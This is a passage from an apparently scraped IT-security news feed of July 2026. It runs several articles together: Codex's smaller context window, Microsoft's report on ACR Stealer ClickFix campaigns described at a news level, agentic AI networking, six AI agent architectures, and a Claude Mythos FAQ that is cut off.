<p class="wp-block-paragraph">While OpenAI has not publicly explained the rationale behind the update, several developers took to social media to question why OpenAI reduced the default context configuration, with some arguing that the change could make Codex less effective on long-running coding sessions by triggering context compaction sooner.</p>



<p class="wp-block-paragraph">Others expressed concern that the smaller window could require more frequent context management or session resets, although some noted that the practical impact would depend on project size and how developers structure their workflows.</p>



<h2 class="wp-block-heading">Smaller context, bigger workflow implications</h2>



<p class="wp-block-paragraph">The context window reduction could affect developer productivity and the adoption of autonomous agents in enterprise workflows, analysts say.</p>



<p class="wp-block-paragraph">“While the context reduction in Codex is unlikely to affect routine coding tasks such as bug fixes or changes involving a few files, it could impact large codebases, repository-wide refactoring, and long-running sessions,” said <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting.</p>



<p class="wp-block-paragraph">“Less memory per session means the AI agent forgets earlier parts of a long coding session sooner. The agent may need to summarize or reload context more often, increasing repeated searches, occasional loss of earlier decisions and the need for developers to re-establish context,” Jain added.</p>



<p class="wp-block-paragraph">That need for manual context management, according to <a href="https://www.linkedin.com/in/muskan-bandta2004/" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at FinOps services providing firm ZopDev, goes completely against the “whole appeal” of Codex-like tools that promised improved productivity out-of-the-box: “A lot of developers are saying their sessions now spend more time on compacting than actually working.”</p>



<p class="wp-block-paragraph">“While context reduction may not further inflate bills, it shows up as more retries, more compaction, and your engineers spending more time babysitting the thing. The spend just moves from the invoice onto your team’s time.”</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika, said that the context reduction will force development teams to choose between two options: either accept that the agent is reasoning with an incomplete picture of the required context or learn to manage a new design constraint around context compaction.</p>



<p class="wp-block-paragraph">Development teams, Jena said, will need to design workflows that proactively manage context: by breaking work into smaller tasks, relying more on retrieval mechanisms, and monitoring context consumption.</p>



<p class="wp-block-paragraph">That forced design constraint on engineering, echoed Bandta, will slow the enterprise adoption of agent-driven workflows: “Context is the agent’s working memory, so cutting it by a third changes what you can trust it to do at all.”</p>



<h2 class="wp-block-heading">Build for changing AI platforms, not fixed limits?</h2>



<p class="wp-block-paragraph">More broadly, analysts pointed out that the episode is a reminder that enterprises should avoid tightly coupling software development workflows to the current operational characteristics of managed AI coding platforms, as context limits, pricing, runtime behavior, and model availability are all likely to evolve with little or no advance notice.</p>



<p class="wp-block-paragraph">“Enterprises should avoid depending on any single context window, continuously benchmark AI coding tools on real workloads, and build workflows around retrieval, modular design, and agent orchestration so they remain resilient as models evolve,” Jain said.</p>



<p class="wp-block-paragraph">Kanerika’s Jena echoed that view: “The right approach is to build AI-assisted development pipelines that degrade gracefully when operational parameters shift: instrument your context consumption, don’t hard-code context budgets, and treat the vendor’s current specifications as a starting point, not a contract.” Similarly, Bandta advised enterprises to treat managed AI coding platforms like any other critical software dependency: “Don’t build anything that only works right at the edge of a limit, and keep enough flexibility that you’re not stuck if one vendor changes the deal.”</p>
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<title><![CDATA[Agentic AI Security Checklist: 15 Controls for CISOs]]></title>
<description><![CDATA[Use this agentic AI security checklist to govern identity, permissions, tools, data, memory, monitoring, and human oversight before deployment.]]></description>
<link>https://tsecurity.de/de/3681200/it-security-nachrichten/agentic-ai-security-checklist-15-controls-for-cisos/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681200/it-security-nachrichten/agentic-ai-security-checklist-15-controls-for-cisos/</guid>
<pubDate>Mon, 20 Jul 2026 15:08:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Use this agentic AI security checklist to govern identity, permissions, tools, data, memory, monitoring, and human oversight before deployment.]]></content:encoded>
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<title><![CDATA[New ACR Stealer campaigns use WebDAV, MSHTA to evade detection]]></title>
<description><![CDATA[Microsoft has issued a warning about a recent surge in ACR Stealer activity that uses ClickFix-style social engineering to steal credentials, browser data, and sensitive business documents.



In a new report, Microsoft researchers detailed two separate campaigns observed between late April and m...]]></description>
<link>https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681119/it-security-nachrichten/new-acr-stealer-campaigns-use-webdav-mshta-to-evade-detection/</guid>
<pubDate>Mon, 20 Jul 2026 14:38:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Microsoft has issued a warning about a recent surge in ACR Stealer activity that uses ClickFix-style social engineering to steal credentials, browser data, and sensitive business documents.</p>



<p class="wp-block-paragraph">In a new report, Microsoft researchers detailed two separate campaigns observed between late April and mid-June 2026 that use different execution techniques for the same theft.</p>



<p class="wp-block-paragraph">The campaign was seen tricking users into executing malicious commands to resolve a fake issue. Once the malware is executed, it extracts browser-stored credentials, session tokens, and documents, which can potentially allow attackers to access cloud services, impersonate users, and conduct follow-on intrusions across enterprise environments.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/nicholas-tausek-6ab41611/" target="_blank" rel="noreferrer noopener">Nick Tausek</a>, lead security automation architect at Swimlane, thinks attackers could be using two distinct chains to trick defense tuned on individual indicators.  “By changing the delivery and execution patterns, attackers can evade defenses tuned to one known chain and make related incidents appear disconnected,“ he said. “Security teams may split the activity across separate investigations, delaying recognition of the shared malware and objective.”</p>



<p class="wp-block-paragraph">ACR Stealer is an information-stealing malware family Microsoft believes is offered through a malware-as-a-service (<a href="https://www.csoonline.com/article/4148601/chrome-abe-bypass-discovered-new-voidstealer-malware-steals-passwords-and-cookies.html">MaaS</a>) model, with possible links to the Amatera Stealer.</p>



<h2 class="wp-block-heading">WebDAV and MSHTA-based chains</h2>



<p class="wp-block-paragraph">Although both campaigns begin with ClickFix lures, Microsoft’s analysis shows they diverge after initial execution. One attack chain uses <a href="https://www.csoonline.com/article/530692/data-protection-webdav-is-bad-says-security-researcher.html">WebDAV</a>-hosted DLLs, PowerShell, Python loaders, scheduled-task persistence, and even blockchain-based infrastructure called the “EtherHiding” technique, to complicate detection and command and control (C2) discovery.</p>



<p class="wp-block-paragraph">The second chain uses <a href="https://www.csoonline.com/article/4173096/internet-explorer-may-be-dead-but-its-ghost-still-runs-malware.html">MSHTA</a>, heavily obfuscated PowerShell, stenography, and predominantly fileless, in-memory execution to minimize forensic trails.</p>



<p class="wp-block-paragraph">“The most troubling part of ACR Stealer is the flexibility surrounding the theft. One chain invests in persistence and layered infrastructure, while the other favors memory execution and fewer forensic traces,” Tausek said. “Those approaches look different to defenders, yet both turn a simple ClickFix lure into stolen credentials, tokens, and business documents.”</p>



<p class="wp-block-paragraph">Microsoft researchers said protections against these campaigns have now been added to Defender. “Microsoft Defender for Endpoint can help surface both campaigns through behavioral coverage for living-off-the-land execution, suspicious WebDAV and MSHTA activity, obfuscated PowerShell, scheduled-task persistence, in-memory payload execution, and browser credential theft,” they <a href="https://www.microsoft.com/en-us/security/blog/2026/07/16/acr-stealer-two-observed-intrusion-chains-amid-increased-threat-activity/" target="_blank" rel="noreferrer noopener">said</a>.</p>



<h2 class="wp-block-heading">Mitigations include ClickFix-targeted detections</h2>



<p class="wp-block-paragraph">The report highlighted that neither of the campaigns exploits any software vulnerability, depending solely on ClickFix-based social engineering.</p>



<p class="wp-block-paragraph">Microsoft warned its Defender customers that ClickFix attacks <a href="https://www.csoonline.com/article/4016208/sixfold-surge-of-clickfix-attacks-threatens-corporate-defenses.html">are on the rise</a> and shared XDR queries to identify suspicious commands executed through ClickFix-based activity observed while delivering the ACR Stealer.</p>



<p class="wp-block-paragraph">Microsoft also recommended, as general defense, monitoring for suspicious PowerShell activity, MSHTA execution, WebDAV connections, and attempts to access browser credential stores, while also enabling Microsoft Defender SmartScreen and Attack Surface Reduction (ASR) rules to block common malware delivery techniques.</p>



<p class="wp-block-paragraph">“The campaigns do not need to directly aid one another to be effective. Together, they create ambiguity and stretch limited SOC resources,” Tausek explained. Security teams need enough visibility to correlate endpoint, identity, and network activity as one evolving intrusion, he added.</p>



<p class="wp-block-paragraph">Microsoft also shared a list of C2 addresses and payload hosting domains for defenders to add to their detection.</p>
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<title><![CDATA[Building the network for agentic AI: The foundation for autonomous enterprise operations]]></title>
<description><![CDATA[Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing ...]]></description>
<link>https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680792/it-nachrichten/building-the-network-for-agentic-ai-the-foundation-for-autonomous-enterprise-operations/</guid>
<pubDate>Mon, 20 Jul 2026 12:03:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Enterprise AI is entering a new phase. While the first wave of generative AI focused on human productivity and content creation, the next wave — agentic AI — will fundamentally change how organizations operate. Agentic AI systems are capable of reasoning, planning, making decisions and executing actions across applications, workflows and business processes with minimal human intervention.</p>



<p class="wp-block-paragraph">As organizations move toward agentic frameworks that can independently resolve customer issues, optimize supply chains, manage infrastructure, coordinate workflows and even operate IT environments, one reality becomes clear: The network becomes the nervous system of the autonomous enterprise.</p>



<p class="wp-block-paragraph">The infrastructure requirements of agentic AI differ dramatically from those of traditional applications. These systems are highly distributed, continuously exchanging information, interacting with APIs, accessing multiple data sources and making decisions in real time. The performance, security, visibility and adaptability of the network will directly determine the effectiveness of AI agents. Organizations that view AI readiness solely as a compute or data challenge risk overlooking one of the most critical enablers of future success — the network itself.</p>



<h2 class="wp-block-heading">From AI-ready networks to autonomous networks</h2>



<p class="wp-block-paragraph">The long-term destination is the <a href="https://www.ericsson.com/en/ai/autonomous-networks">autonomous network</a>: A network capable of self-monitoring, self-optimizing, self-healing and self-securing through the use of AI and automation. However, autonomous networking will not emerge overnight. The investments enterprises make today to support agentic AI are the same foundational building blocks required for tomorrow’s autonomous operations.</p>



<p class="wp-block-paragraph">In many ways, agentic AI serves as both the driver and beneficiary of network transformation. AI agents require networks that can dynamically adapt to changing demands, while autonomous networks will increasingly rely on AI agents to manage and optimize themselves. The result is a reinforcing cycle where AI and networking evolve together.</p>



<h2 class="wp-block-heading">The core characteristics of the network of the future</h2>



<p class="wp-block-paragraph">One of the most critical requirements for AI-ready networks is real-time observability and telemetry. Agentic AI thrives on context, and AI agents must continuously gather information from users, applications, devices, clouds, security systems and operational platforms. Future-ready networks must provide end-to-end visibility across campus, branch, cloud and data center environments. High-fidelity telemetry streams, real-time performance monitoring, application-aware analytics, AI-aware analytics and unified operational visibility are essential. Without comprehensive visibility, AI agents operate with incomplete information, limiting their effectiveness and increasing operational risk.</p>



<p class="wp-block-paragraph">Another cornerstone is intent-based automation. Traditional networks are configured manually, often requiring administrators to define thousands of individual settings. In contrast, autonomous networks operate according to business intent. Enterprises increasingly need to define desired outcomes — such as maintaining application performance, optimizing user experience or automatically isolating compromised devices — rather than micromanaging configurations. The network continuously adjusts itself to achieve those objectives, providing the foundation upon which AI agents can make decisions safely and consistently.</p>



<p class="wp-block-paragraph">Agentic AI also introduces entirely new traffic patterns that require AI-optimized connectivity. Large language models, retrieval systems, vector databases, cloud AI services, edge inference platforms and multi-agent orchestration frameworks create significant east-west and cloud-bound traffic. Future networks must provide low-latency connectivity, high-capacity fabrics, dynamic traffic engineering, edge-to-cloud optimization and policies that identify and prioritize AI workloads. The organizations that can move data efficiently will gain a competitive advantage in AI execution speed and responsiveness.</p>



<p class="wp-block-paragraph">Security is another non-negotiable element. Agentic AI expands the enterprise attack surface because AI agents increasingly access sensitive systems, interact with APIs, consume proprietary data and execute actions across business environments. Future-ready networks must embed zero trust security into their architecture, with continuous identity verification, fine-grained access controls, microsegmentation, policy-driven authorization and continuous risk assessment. Security can no longer be bolted onto the network; it must be integral to its design and AI agents need to adhere to their own identity rules.</p>



<p class="wp-block-paragraph">Finally, distributed intelligence across edge and cloud environments is essential. Many AI use cases require decisions to occur close to the source of data. Manufacturing systems, healthcare environments, retail operations, transportation networks and smart facilities often cannot tolerate the latency associated with centralized processing. Future networks must support edge AI deployment, distributed processing architectures, local inference, hybrid cloud operations and intelligent workload placement. The ability to move intelligence closer to users, devices and operational environments will become increasingly important as agentic AI expands across the enterprise.</p>



<h2 class="wp-block-heading">Human expertise remains essential</h2>



<p class="wp-block-paragraph">Despite rapid advances in AI, the future will not eliminate the need for human expertise. In fact, it may increase its importance. One of the most significant misconceptions surrounding AI is that automation eliminates the need for skilled professionals. The reality is that autonomous systems require expert oversight, governance, validation and continuous optimization.</p>



<p class="wp-block-paragraph">As AI systems become more capable, enterprises will need professionals who understand network architecture, security policy, AI governance, operational risk management, data quality, regulatory compliance and human-in-the-loop decision frameworks. The challenge is compounded by the unprecedented pace of AI innovation. New models, architectures, orchestration frameworks, security concerns and governance requirements emerge almost monthly. Most enterprise IT teams cannot be expected to independently evaluate every development while simultaneously modernizing infrastructure and maintaining day-to-day operations.</p>



<p class="wp-block-paragraph">Organizations need access to experts who continuously track technology evolution, understand emerging best practices and can help translate innovation into practical deployment strategies. These experts provide not only implementation support but also ongoing operational guidance, helping enterprises maintain appropriate human oversight as AI capabilities expand. The future is not fully autonomous decision-making without people; it is intelligent automation operating under expert human governance.</p>



<h2 class="wp-block-heading">5 actions enterprises should take now</h2>



<p class="wp-block-paragraph">Organizations should be preparing for the autonomous future right now. The following investments deliver immediate value while laying the groundwork for long-term AI transformation:</p>



<ol start="1" class="wp-block-list">
<li><strong>Modernize network observability.</strong> Establish <a href="https://www.ibm.com/think/insights/ai-agent-observability">comprehensive visibility</a> across users, applications, devices, clouds and infrastructure. Rich telemetry and operational data will become the fuel that powers both Agentic AI and autonomous network operations.</li>



<li><strong>Build an automation-first operating model.</strong> Identify repetitive operational processes and begin automating them. Automation maturity is a prerequisite for autonomous networking and creates the operational foundation AI agents will eventually leverage.</li>



<li><strong>Adopt zero-trust principles across the enterprise.</strong> Implement identity-centric security controls, segmentation and continuous policy enforcement. As AI agents gain access to enterprise systems, <a href="https://www.forrester.com/zero-trust/">security architectures</a> must evolve to leverage the same identity controls.</li>



<li><strong>Design for edge-to-cloud AI workloads.</strong> Evaluate network architectures for latency, bandwidth and resiliency requirements associated with distributed AI. Future AI deployments will span data centers, public clouds, branch locations and edge environments.</li>



<li><strong>Invest in skills and strategic partnerships.</strong> Develop <a href="https://mitsloan.mit.edu/ideas-made-to-matter/artificial-intelligence-pays-when-businesses-go-all">internal expertise</a> while leveraging partners that possess deep networking, automation, security and AI knowledge. Human expertise remains one of the most important success factors in building AI-ready and autonomous infrastructures.</li>
</ol>



<h2 class="wp-block-heading">The road ahead</h2>



<p class="wp-block-paragraph">Agentic AI is poised to transform enterprise operations in much the same way cloud computing transformed infrastructure and the internet transformed business itself. But AI agents cannot operate effectively without a modern network foundation. The enterprises that succeed will recognize that AI readiness extends beyond models and data. It requires networks that are observable, automated, secure, intelligent and increasingly autonomous. The investments made today in AI-ready networking are not merely infrastructure upgrades — they are strategic building blocks toward the autonomous enterprise of the future, where AI agents and autonomous networks work together under human guidance to deliver unprecedented levels of agility, efficiency, and innovation.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[The 6 kinds of AI agent architectures]]></title>
<description><![CDATA[Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single p...]]></description>
<link>https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680680/it-security-nachrichten/the-6-kinds-of-ai-agent-architectures/</guid>
<pubDate>Mon, 20 Jul 2026 11:09:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Somewhere in the last eighteen months, “AI agent” stopped being a useful term. CIOs may even be afraid to ask what “agent” truly means, as it now seems to describe everything from a chatbot that answers HR questions to an autonomous research system that plans its own week of work. When a single phrase carries that much weight, well, it stops carrying any.</p>



<p class="wp-block-paragraph">I’ve spent the last three years inside hundreds of enterprise AI deployments, and the factor that separates the programs scaling elegantly from the ones still shuffling is often the CIO’s architectural fluency: The ability to look at business problems across the organization and recognize, on sight, what kind of AI architecture is the right fit. In my experience there are six archetypes, each with their own nuances, that CIOs should internalize to make well-informed decisions going forward.</p>



<h2 class="wp-block-heading">1. The conversational assistant</h2>



<p class="wp-block-paragraph">The first, and the one most enterprises meet first, is the conversational assistant: The chat-based partner that an employee or customer opens when they want to think out loud. <a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html?id=us:2ps:3gl:aisgm26:awa:CONS:em:K0218784:012626:kwd-430833501819:195648817121:794247818306::&amp;gclsrc=aw.ds&amp;gad_source=1&amp;gad_campaignid=23269751971&amp;gbraid=0AAAAADenGPCB8F-Mx6GhUt0V1PWpgLqtw&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pYktgKgYgYBAR6AcMikwdYOF7q6S3WaLiLYg2hwhvdCjRiqajxnqtkaAsdYEALw_wcB">Deloitte found that 38%</a> of organizations report AI is already strengthening their client or customer relationships. This is the architecture people fall in love with: A well-designed assistant with constantly updated information, persistent user-level memory, tools that can act on behalf of users, and citations on every factual claim becomes a useful problem-solver that’s available at any hour of the day.</p>



<p class="wp-block-paragraph">A global law firm I work with deployed an internal assistant that gives every attorney instant access to the firm’s accumulated precedent, memos and prior matter work. Associates who used to spend the first hour of a research task hunting through document management systems now start with a grounded, citation-backed answer and refine from there. This helped the firm’s institutional knowledge, previously locked in the heads of senior partners, become queryable by anyone with a deadline at 11 p.m., or later.</p>



<p class="wp-block-paragraph">A second example: A mid-market wealth management firm built a client-facing assistant that handles portfolio questions, statement explanations and routine servicing requests. The assistant draws from each client’s actual holdings, recent activity and the firm’s published market commentary, with citations linking back to source documents. Advisors stopped being interrupted for the questions that didn’t require an advisor, and clients got answers on a Sunday.</p>



<h2 class="wp-block-heading">2. The triggered workflow</h2>



<p class="wp-block-paragraph">Another pattern producing the value across the enterprises I work with is something that runs silently: An email arrives, a ticket is created, a file lands in a folder and the agent executes a process utilizing both reasoning and determinism. These agents don’t even require user adoption, because they’re invisible to the end user. They produce measurable outcomes, but fit cleanly into the audit and change-control processes IT teams have run for decades.</p>



<p class="wp-block-paragraph">A commercial insurer I advise built a triggered workflow for inbound submissions. Every broker email that arrives at the underwriting inbox is classified by line of business, the attachments are parsed, key risk fields are extracted into the policy administration system, and a draft acknowledgment is queued for the underwriter’s review. Seemingly overnight, the inbox began arriving pre-sorted, and submission throughput rose meaningfully without any change to headcount.</p>



<p class="wp-block-paragraph">Another example, this time from a private equity firm: Every inbound confidential information memorandum (CIM) that hits the deal team’s shared inbox triggers a workflow that extracts the financial summary, screens it against the firm’s investment criteria, drafts a preliminary memo and posts the result into the deal-tracking system. Associates still make the call on what to pursue, but the first three hours of manual work on each opportunity now happen before anyone even opens the file.</p>



<h2 class="wp-block-heading">3. The autonomous agent — with sub-agents</h2>



<p class="wp-block-paragraph">Here we have the architecture that gets the most conference attention: The autonomous agent, given a task and left to plan its own steps by utilizing its own sub-agents. Autonomous agents are not one-size-fits-all, but they do meet a specific need: Multi-source research, complex cross-system lookups, deep-dive investigations. All of these are processes where the path isn’t usually specified in advance, but the tools are. With the right design discipline, an autonomous agent feels like having a self-sufficient teammate who can call in the right resources and specialists if needed.</p>



<p class="wp-block-paragraph">A global consulting firm I work with uses an autonomous research agent for early-stage engagement scoping. Given a target company and a strategic question, the agent decides for itself which sub-agents to consult (choosing from internal proprietary databases, prior engagement archives, licensed market data, public filings) and produces a structured briefing with its reasoning chain attached.</p>



<p class="wp-block-paragraph">Another large technology company I know of deployed an autonomous agent for cross-system incident investigation. When a production alert fires, the agent forms a hypothesis, queries the necessary sub-agents with relevant monitoring tools, log stores and deployment systems, and follows the trail until it reaches a defensible root-cause summary to surface to an engineer.</p>



<h2 class="wp-block-heading">4. The multi-agent team</h2>



<p class="wp-block-paragraph">The fourth pattern is where the next wave of enterprise quality gains is going to come from. <a href="https://www.databricks.com/resources/ebook/state-of-ai-agents">According to Databricks</a>, usage of multi-agent systems grew 327% in just four months as enterprises moved beyond single chatbots. Several specialized agents, each with its own role and toolset, coordinate through a shared protocol: A researcher and a writer, a planner and a set of executors, a proposer and a critic. The proposer-critic feedback loop is one of the smartest techniques in agent design today. One model produces an answer; a second, with a different prompt and often a different provider, evaluates it against explicit criteria. For compliance review, contract analysis, high-stakes classification and any output that will be audited, this second pass is extremely helpful and mirrors how human teams work.</p>



<p class="wp-block-paragraph">A global bank I work with uses a multi-agent system for marketing and communications review. One agent drafts client-facing copy, a second checks it against the firm’s regulatory and brand guidelines and a third checks it against jurisdiction-specific disclosure rules. Disagreements among the agents are surfaced to a human reviewer with the specific clauses flagged. The compliance team stopped being the bottleneck on every routine piece of copy and started focusing on the high-judgment cases instead.</p>



<p class="wp-block-paragraph">The next example: A pharmaceutical company built a multi-agent workflow for medical literature summarization. A retriever agent gathers candidate studies, a reader agent extracts study design and findings, a critic agent challenges the reader’s claims against the source text, and a synthesizer agent composes the final brief. The proposer-critic loop in the middle is the reason the medical affairs team trusts the output enough to act on it.</p>



<h2 class="wp-block-heading">5. The human-in-the-loop (HITL) agent</h2>



<p class="wp-block-paragraph">The fifth pattern is the one I think we’ll see increasingly more of in the future. While many see “full automation” as the goal, the right target is actually to let the agent handle the 80% of a task that is mechanical, while preserving human judgment at the most critical moments. This is achievable via human-in-the-loop (HITL) agents. <a href="https://www.moodys.com/web/en/us/insights/ai/human-in-the-loop-why-human-oversight-still-matters-in-ai-driven-risk-and-compliance.html">According to Moody’s, 42%</a> of compliance professionals believe that human oversight is mandatory, and I agree: AI should run <em>right</em>, by getting approval and review before any sensitive business action is taken. HITL is the architecture that can help turn a skeptical team into an enthusiastic one.</p>



<p class="wp-block-paragraph">A regional health system I worked with uses a HITL agent for prior-authorization letters. The agent assembles the clinical evidence, drafts the letter against the relevant payer’s criteria, and routes it to a nurse case manager for review inside the existing workflow tool. The nurse approves, edits or rejects in seconds rather than minutes, and every edit helps make the next draft better.</p>



<p class="wp-block-paragraph">A property management company uses a HITL agent to run its maintenance work orders. When a tenant emails about a problem (an HVAC unit that died overnight, say), the agent pulls the structured details (tenant, unit, issue type, urgency), matches the job to the right vendor from the directory, and drafts the work order. A team member approves it in Slack before anything goes out. From there the agent emails the vendor with the full order, confirms with the tenant that someone is on the way and updates Airtable, closing the loop completely.</p>



<h2 class="wp-block-heading">6. The scheduled agent</h2>



<p class="wp-block-paragraph">On a set schedule or against a batch of inputs, this agent runs the same defined task: Produce a report, refresh a dataset, monitor a set of sources or summarize a period of activity. Under this archetype, unsexy work gets done consistently, integrated into existing operational rhythms like the Monday morning meeting, the daily standup and the monthly board deck, without asking anyone to change their behavior. This is the architecture that shifts AI from feeling like even more work, to a seamless teammate that just works.</p>



<p class="wp-block-paragraph">A private equity firm I work with runs a scheduled agent every Monday at 6 a.m. that monitors news, filings and earnings activity across every portfolio company and produces a single PDF that lands in the deal partners’ inboxes before the weekly investment meeting. No one logs into a dashboard. The agent shows up, on time, with the same format every week, and the meeting now starts from a shared baseline rather than from whatever each partner happened to read over the weekend.</p>



<p class="wp-block-paragraph">A second example: A global manufacturer runs a nightly batch agent that ingests the day’s quality-control reports across plants, summarizes anomalies against a rolling baseline, and produces an end-of-shift handoff document for each site lead’s morning. The agent doesn’t flag emergencies, but it ensures that the slow-moving patterns no human would catch reading one shift’s data in isolation get surfaced.</p>



<h2 class="wp-block-heading">Bringing it together</h2>



<p class="wp-block-paragraph">None of these six archetypes is more advanced than the others or inherently better. But CIOs can have an edge by choosing the one that the operational problem actually calls for.</p>



<p class="wp-block-paragraph">Before you scope a single deployment, you should be able to look at a business problem and name its shape: Is this a question someone needs answered in the moment, or a process that should run the instant a trigger fires? Does the path need to be discovered, or is it known in advance and just waiting to be executed? Where, exactly, does human judgment have to stay in the loop, and where is it just friction?</p>



<p class="wp-block-paragraph">Going forward, CIOs should start treating the architecture decision as the first design choice. Everything downstream — adoption, governance, trust — only gets easier if the architecture is the right fit.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Claude Mythos FAQ: Capabilities, access, competitors, implications]]></title>
<description><![CDATA[1.
What is Claude Mythos?




Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.



Mythos 5 was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.



Anthropic est...]]></description>
<link>https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680433/it-security-nachrichten/claude-mythos-faq-capabilities-access-competitors-implications/</guid>
<pubDate>Mon, 20 Jul 2026 08:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<div class="wp-block-idg-base-theme-faq-block faq-block">
<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">1.</span>
<h2 class="wp-block-heading">What is Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Claude Mythos is an advanced AI model developed by Anthropic and is optimized for cybersecurity and healthcare applications.</p>



<p class="wp-block-paragraph"><a href="https://www.anthropic.com/claude/mythos">Mythos 5</a> was originally released in April to a small group of vetted technology partners ahead of a planned wider rollout.</p>



<p class="wp-block-paragraph">Anthropic established <strong>Project Glasswing</strong>, a consortium that gives limited, controlled access to Mythos to infrastructure providers, open-source developers, and major technology companies. The scheme was designed to enable defenders to find and resolve vulnerabilities faster than they could be identified by attackers, <a href="https://www.csoonline.com/article/4154222/6-ways-attackers-abuse-ai-services-to-hack-your-business.html">many of which are also beginning to rely heavily on AI tools</a>.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">2.</span>
<h2 class="wp-block-heading">What are the capabilities of Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">The <a href="https://www.csoonline.com/article/4155342/what-anthropic-glasswing-reveals-about-the-future-of-vulnerability-discovery.html">50 initial partners of Project Glasswing</a> were able to use Mythos to find more than <a href="https://www.csoonline.com/article/4176865/project-glasswing-has-uncovered-10000-vulnerabilities-anthropic.html">10,000 high- or critical-severity vulnerabilities</a> in every major operating system and <a href="https://www.csoonline.com/article/4162259/claude-mythos-signals-a-new-era-in-ai-driven-security-finding-271-flaws-in-firefox.html">every major web browser</a>.</p>



<p class="wp-block-paragraph">The model is identifying security flaws that had evaded even the most capable security researchers for years, such as a <a href="https://www.csoonline.com/article/4159617/behind-the-mythos-hype-glasswing-has-just-one-confirmed-cve.html">27-year-old bug in OpenBSD</a>. It has also proved capable of chaining multiple vulnerabilities together.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">3.</span>
<h2 class="wp-block-heading">How is Anthropic restricting access to Claude Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">Anthropic said it was restricting the more widespread availability of the frontier AI model because its capabilities might easily be misused by attackers.</p>



<p class="wp-block-paragraph">In June the technology was released to an <a href="https://www.csoonline.com/article/4180265/anthropic-grants-project-glasswing-access-to-150-more-companies-with-a-focus-on-critical-infrastructure.html">additional 150 organizations</a>. All Mythos partners are required to accept a 30-day data retention policy for safety monitoring.</p>



<p class="wp-block-paragraph">After the availability of Mythos forced the <a href="https://www.csoonline.com/article/4166824/anthropic-mythos-spurs-white-house-to-weigh-pre-release-reviews-for-high-risk-ai-models.html">Trump administration to reconsider its “hands off” approach to AI oversight</a>, the US government applied export controls to Claude Fable 5 and Claude Mythos 5 on June 15. The restrictions — which were supposed to block access to foreign nationals both inside and outside the US — were lifted on June 30.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">4.</span>
<h2 class="wp-block-heading">What is Claude Fable?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
<p class="wp-block-paragraph">For broader use, Anthropic is offering <a href="https://www.csoonline.com/article/4183094/anthropic-releases-mythos-class-fable-5-model-with-safeguards-for-cyber-risks.html">Claude Fable 5</a>, which is based on the same underlying technology but comes with strict guardrails that limit operations in “risky” cybersecurity domains. Flagged queries are automatically routed to the earlier and less capable Opus 4.8 large language model (LLM) instead.</p>
</div>
</div></div>



<div class="wp-block-idg-base-theme-faq-inner-block faq-save-block"><div class="faq-save-content"><span class="faq-rank">5.</span>
<h2 class="wp-block-heading">How are Anthropic’s security vendor partners using access to Mythos?</h2>



<div class="wp-block-idg-base-theme-faq-answer-block how-to-tip">
